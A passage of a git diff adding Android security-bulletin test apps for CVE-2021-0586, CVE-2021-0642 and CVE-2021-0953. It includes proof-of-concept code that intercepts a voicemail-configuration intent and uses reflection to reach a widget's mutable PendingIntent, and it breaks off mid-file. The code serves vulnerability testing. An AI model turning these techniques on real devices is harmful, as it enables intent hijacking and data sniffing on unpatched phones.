diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
index 73c8e10..3ffb7df 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
@@ -16,30 +16,34 @@
 
 package android.security.cts.cve_2021_0586;
 
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.net.Uri;
+
 import androidx.test.runner.AndroidJUnit4;
 import androidx.test.uiautomator.By;
 import androidx.test.uiautomator.BySelector;
 import androidx.test.uiautomator.UiDevice;
 import androidx.test.uiautomator.Until;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.io.IOException;
 import java.util.regex.Pattern;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
-import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-import static org.junit.Assert.assertNotNull;
 
 @RunWith(AndroidJUnit4.class)
 public class DeviceTest {
     private static final String TEST_PKG = "android.security.cts.cve_2021_0586";
-    private static final String TEST_PKG_BT = "com.android.settings";
     private static final int LAUNCH_TIMEOUT_MS = 20000;
+    private Pattern overlayTextPattern;
     private UiDevice mDevice;
     String activityDump = "";
 
@@ -68,26 +72,29 @@
         final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG);
         assertNotNull(intent);
         intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+
         /* Start the launcher activity */
         context.startActivity(intent);
-        Pattern pattern = Pattern.compile(
+        overlayTextPattern = Pattern.compile(
                 getApplicationContext().getResources().getString(R.string.overlay_button),
                 Pattern.CASE_INSENSITIVE);
-        /* Wait for the overlay window */
-        if (!mDevice.wait(Until.hasObject(By.text(pattern).depth(0)), LAUNCH_TIMEOUT_MS)) {
-            return;
-        }
-        /* Start the DevicePickerActivity */
-        startDevicePickerActivity();
     }
 
     @Test
     public void testOverlayButtonPresence() {
-        BySelector selector = By.pkg(TEST_PKG_BT);
-        /* Wait for an object of DevicePickerActivity */
-        if (mDevice.wait(Until.hasObject(selector.depth(0)), LAUNCH_TIMEOUT_MS)) {
+        /* Wait for the overlay window */
+        if (!mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS)) {
             return;
         }
+
+        /* Start the DevicePickerActivity */
+        startDevicePickerActivity();
+
+        /* Wait until the object of launcher activity is gone */
+        if (mDevice.wait(Until.gone(By.pkg(TEST_PKG)), LAUNCH_TIMEOUT_MS)) {
+            return;
+        }
+
         /* Check if the currently running activity is DevicePickerActivity */
         try {
             activityDump = mDevice.executeShellCommand("dumpsys activity");
@@ -98,8 +105,10 @@
         if (!activityPattern.matcher(activityDump).find()) {
             return;
         }
+
+        /* Failing the test as fix is not present */
         String message = "Device is vulnerable to b/182584940 hence any app with "
                 + "SYSTEM_ALERT_WINDOW can overlay the Bluetooth DevicePickerActivity screen";
-        assertNotNull(message, mDevice.findObject(selector));
+        fail(message);
     }
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
new file mode 100644
index 0000000..770b5a2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+android_test_helper_app {
+    name: "CVE-2021-0642",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml
new file mode 100644
index 0000000..fadda57
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.cve_2021_0642"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
+    <application
+        android:allowBackup="true"
+        android:label="CVE-2021-0642"
+        android:supportsRtl="true">
+
+        <activity
+            android:name=".PocActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.telephony.action.CONFIGURE_VOICEMAIL" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.cve_2021_0642" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml
new file mode 100644
index 0000000..7460b96
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+        android:orientation="vertical"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent">
+    <View
+        android:id="@+id/drawableview"
+        android:layout_width="match_parent"
+        android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java
new file mode 100644
index 0000000..8fc235b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0642;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.hamcrest.CoreMatchers.notNullValue;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ActivityNotFoundException;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.telephony.TelephonyManager;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import java.util.List;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    static final String APP_TITLE = "CVE-2021-0642";
+    static final String PACKAGE_NAME = "com.android.phone";
+    static final int LAUNCH_TIMEOUT_MS = 20000;
+
+    @Test
+    public void testCVE_2021_0642() {
+        UiDevice device = UiDevice.getInstance(getInstrumentation());
+        Context context = getApplicationContext();
+        assertThat(context, notNullValue());
+        PackageManager packageManager = context.getPackageManager();
+        assertThat(packageManager, notNullValue());
+        assumeTrue(packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
+        final Intent intent = new Intent(TelephonyManager.ACTION_CONFIGURE_VOICEMAIL);
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        try {
+            context.startActivity(intent);
+        } catch (ActivityNotFoundException e) {
+            assumeNoException(e);
+        }
+
+        // Check if "com.android.phone" exists on the system
+        try {
+            packageManager.getPackageUid(PACKAGE_NAME, 0);
+        } catch (PackageManager.NameNotFoundException e) {
+            assumeNoException(e);
+        }
+
+        // Wait for activity (which is part of package "com.android.phone") that
+        // handles ACTION_CONFIGURE_VOICEMAIL to get launched
+        boolean isVoicemailVisible =
+                device.wait(Until.hasObject(By.pkg(PACKAGE_NAME)), LAUNCH_TIMEOUT_MS);
+
+        // To check if PocActivity was launched
+        BySelector selector = By.enabled(true);
+        List<UiObject2> objects = device.findObjects(selector);
+        boolean isPocActivityVisible = false;
+        for (UiObject2 o : objects) {
+            String visibleText = o.getText();
+            if ((visibleText != null) && (visibleText.equalsIgnoreCase(APP_TITLE))) {
+                isPocActivityVisible = true;
+                break;
+            }
+        }
+        device.pressHome();
+
+        assumeTrue(isVoicemailVisible || isPocActivityVisible);
+
+        String outputMsg = "Device is vulnerable to b/185126149 "
+                + "hence sensitive Iccid could be sniffed by intercepting "
+                + "ACTION_CONFIGURE_VOICEMAIL implicit intent";
+        assertTrue(outputMsg, ((isVoicemailVisible) && (!isPocActivityVisible)));
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
new file mode 100644
index 0000000..1a335c7
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0642;
+
+import android.app.Activity;
+
+public class PocActivity extends Activity {
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp
similarity index 64%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp
index bcbf54f..c458976 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp
@@ -12,15 +12,29 @@
  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  * See the License for the specific language governing permissions and
  * limitations under the License.
- *
  */
 
 package {
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
-cc_test {
-    name: "CVE-2020-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+android_test_helper_app {
+    name: "CVE-2021-0953",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "cts",
+        "vts10",
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+    ],
+    platform_apis: true,
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml
new file mode 100644
index 0000000..ddc942f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_0953"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <application
+        android:label="CVE-2021-0953"
+        android:supportsRtl="true">
+        <activity
+            android:name=".PocActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+        <activity
+            android:name=".PocVulnerableActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.speech.action.WEB_SEARCH"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+    </application>
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2021_0953" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml
new file mode 100644
index 0000000..13651bd
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+    <View
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"/>
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml
new file mode 100644
index 0000000..2d3268b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+    <View
+        android:id="@+id/pocVulnerableActivity"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"/>
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml
new file mode 100644
index 0000000..c027ecf
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <integer name="assumption_failure">-1</integer>
+    <integer name="pass">0</integer>
+    <integer name="fail">1</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml
new file mode 100644
index 0000000..6998865
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <string name="callback_key">testMutablePendingIntentCallback</string>
+    <string name="message_key">testMutablePendingIntentMessage</string>
+    <string name="status_key">testMutablePendingIntentStatus</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java
new file mode 100644
index 0000000..ee5dac6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0953;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.RemoteCallback;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    public static final int TIMEOUT_SEC = 20;
+    public static final String TEST_PACKAGE = "android.security.cts.CVE_2021_0953";
+
+    @Test
+    public void testMutablePendingIntent() {
+        final Context context = getApplicationContext();
+        PocStatus status = new PocStatus();
+        CompletableFuture<PocStatus> callbackReturn = new CompletableFuture<>();
+        RemoteCallback cb = new RemoteCallback((Bundle result) -> {
+            PocStatus pocStatus = new PocStatus();
+            pocStatus.setErrorMessage(
+                    result.getString(context.getResources().getString(R.string.message_key)));
+            pocStatus.setStatusCode(
+                    result.getInt(context.getResources().getString(R.string.status_key)));
+            callbackReturn.complete(pocStatus);
+        });
+        launchActivity(PocActivity.class, cb); // start activity with callback
+        try {
+            // blocking while the remotecallback is unset
+            status = callbackReturn.get(TIMEOUT_SEC, TimeUnit.SECONDS);
+        } catch (InterruptedException | ExecutionException | TimeoutException e) {
+            assumeNoException(e);
+        }
+        assumeTrue(status.getErrorMessage(), status.getStatusCode() != context.getResources()
+                .getInteger(R.integer.assumption_failure));
+        assertNotEquals(status.getErrorMessage(), status.getStatusCode(),
+                context.getResources().getInteger(R.integer.fail));
+    }
+
+    private void launchActivity(Class<? extends Activity> clazz, RemoteCallback cb) {
+        final Context context = getApplicationContext();
+        final Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.setClassName(TEST_PACKAGE, clazz.getName());
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        intent.putExtra(context.getResources().getString(R.string.callback_key), cb);
+        context.startActivity(intent);
+    }
+
+    private class PocStatus {
+        private int statusCode;
+        private String errorMessage;
+
+        public void setStatusCode(int status) {
+            statusCode = status;
+        }
+
+        public void setErrorMessage(String message) {
+            errorMessage = message;
+        }
+
+        public int getStatusCode() {
+            return statusCode;
+        }
+
+        public String getErrorMessage() {
+            return errorMessage;
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java
new file mode 100644
index 0000000..c28bd75
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java
@@ -0,0 +1,260 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0953;
+
+import android.app.Activity;
+import android.app.PendingIntent;
+import android.appwidget.AppWidgetHost;
+import android.appwidget.AppWidgetManager;
+import android.content.ComponentName;
+import android.content.ActivityNotFoundException;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.RemoteCallback;
+import android.os.RemoteException;
+import android.widget.RemoteViews;
+
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+import androidx.test.InstrumentationRegistry;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.List;
+
+public class PocActivity extends Activity {
+    public static int APPWIDGET_ID;
+    public static int REQUEST_BIND_APPWIDGET = 0;
+    public static final int TIMEOUT_MS = 10000;
+
+    Class mClRemoteViews;
+    Field mActions, mResponse, mFldPendingIntent;
+    Method mGetDeclaredField;
+    Object mObjSetOnClickResponse;
+    PendingIntent mPendingIntent;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+        UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        AppWidgetHost appWidgetHost;
+        AppWidgetManager appWidgetManager;
+        PocActivity pocActivity = PocActivity.this;
+        appWidgetManager = AppWidgetManager.getInstance(this);
+        appWidgetHost = new AppWidgetHost(PocActivity.this.getApplicationContext(), 0);
+        APPWIDGET_ID = appWidgetHost.allocateAppWidgetId();
+        Intent intent = new Intent("android.appwidget.action.APPWIDGET_BIND");
+        intent.putExtra("appWidgetId", APPWIDGET_ID);
+        intent.putExtra("appWidgetProvider", new ComponentName("com.android.quicksearchbox",
+                "com.android.quicksearchbox.SearchWidgetProvider"));
+        try {
+            PocActivity.this.startActivityForResult(intent, REQUEST_BIND_APPWIDGET);
+        } catch (ActivityNotFoundException e) {
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "Could not start activity");
+            return;
+        }
+        String settingsPkgName = "";
+        PackageManager pm = getPackageManager();
+        List<ResolveInfo> ris = pm.queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY);
+        for (ResolveInfo ri : ris) {
+            if (ri.activityInfo.name.contains("AllowBindAppWidgetActivity")) {
+                settingsPkgName = ri.activityInfo.packageName;
+            }
+        }
+        if (settingsPkgName.equals("")) {
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "Settings package not found/AllowBindAppWidgetActivity not found");
+            return;
+        }
+        if (!device.wait(Until.hasObject(By.pkg(settingsPkgName)), TIMEOUT_MS)) {
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "Unable to start AllowBindAppWidgetActivity");
+            return;
+        }
+        boolean buttonClicked = false;
+        BySelector selector = By.clickable(true);
+        List<UiObject2> objects = device.findObjects(selector);
+        for (UiObject2 object : objects) {
+            String objectText = object.getText();
+            String objectClass = object.getClassName();
+            if (objectText == null) {
+                continue;
+            }
+            if (objectText.equalsIgnoreCase("CREATE")) {
+                object.click();
+                buttonClicked = true;
+                break;
+            }
+        }
+        if (!device.wait(Until.gone(By.pkg(settingsPkgName)), TIMEOUT_MS) || !buttonClicked) {
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "'Create' button not found/clicked");
+            return;
+        }
+    }
+
+    @Override
+    public void onActivityResult(int requestCode, int resultCode, Intent data) {
+        super.onActivityResult(requestCode, resultCode, data);
+        PocActivity pocActivity = PocActivity.this;
+        if (requestCode == REQUEST_BIND_APPWIDGET) {
+            if (resultCode == -1) {
+                APPWIDGET_ID = data.getIntExtra("appWidgetId", APPWIDGET_ID);
+            }
+        }
+        RemoteViews remoteViews =
+                pocActivity.callBinder(pocActivity.getPackageName(), APPWIDGET_ID);
+        if (remoteViews == null) {
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "remoteViews is null as callBinder() failed");
+            return;
+        }
+        try {
+            mClRemoteViews = Class.forName("android.widget.RemoteViews");
+        } catch (ClassNotFoundException e) {
+            e.printStackTrace();
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "Class android.widget.RemoteViews not found");
+            return;
+        }
+        Class[] rvSubClasses = mClRemoteViews.getDeclaredClasses();
+        Class clSetOnClickResponse = null;
+        Class clRemoteResponse = null;
+        for (Class c : rvSubClasses) {
+            if (c.getCanonicalName().equals("android.widget.RemoteViews.SetOnClickResponse")) {
+                clSetOnClickResponse = c;
+            }
+            if (c.getCanonicalName().equals("android.widget.RemoteViews.RemoteResponse")) {
+                clRemoteResponse = c;
+            }
+        }
+        try {
+            mActions = mClRemoteViews.getDeclaredField("mActions");
+        } catch (NoSuchFieldException e) {
+            e.printStackTrace();
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "mActions field not found");
+            return;
+        }
+        mActions.setAccessible(true);
+        try {
+            mObjSetOnClickResponse = ((ArrayList) mActions.get(remoteViews)).get(1);
+            mGetDeclaredField = Class.class.getDeclaredMethod("getDeclaredField", String.class);
+            mResponse = (Field) mGetDeclaredField.invoke(clSetOnClickResponse, "mResponse");
+        } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException e) {
+            e.printStackTrace();
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "mResponse field not found");
